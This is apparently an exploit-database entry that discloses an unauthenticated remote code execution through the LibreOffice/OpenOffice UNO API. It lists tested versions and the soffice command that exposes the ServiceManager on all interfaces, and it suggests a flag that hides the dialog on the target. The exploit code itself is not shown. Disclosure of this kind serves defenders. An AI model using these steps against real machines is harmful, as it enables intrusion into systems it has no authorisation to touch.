# Exploit Title: Apache UNO API RCE
# Date: 2018-09-18
# Exploit Author: sud0woodo
# Vendor Homepage: https://www.apache.org/
# Software Link: https://www.openoffice.org/api/
# Version:

LibreOffice Version: 6.1.2 / OpenOffice 4.1.6

(but really any version with the UNO API included)
# Tested on:

Ubuntu Mate 18.04 with kernel 4.15.0-34-generic (but works platform independent)

Proof of Concept code attached as .txt file.

Unauthenticated RCE LibreOffice/OpenOffice with UNO API

This code represents a small proof of concept of an unauthenticted remote code execution using
the Apache OpenOffice UNO API (https://www.openoffice.org/udk/). This code has been tested
against LibreOffice Version: 6.1.1.2 on a Ubuntu Mate 18.04 with kernel 4.15.0-34-generic.

For this PoC to work the target machine needs to run the ServiceManager using an external 
interface. The following command was used to test this PoC:

[Ubuntu]
Open a terminal and execute the following command:
    soffice --accept='socket,host=0.0.0.0,port=2002;urp;StarOffice.Service'

The above command will start the LibreOffice ServiceManager but this can be executed with the --invisible
flag to prevent the dialogbox from popping up on the target.

I also made a scanner available that can be used to check for the presence of the StarOffice manager running on a machine:
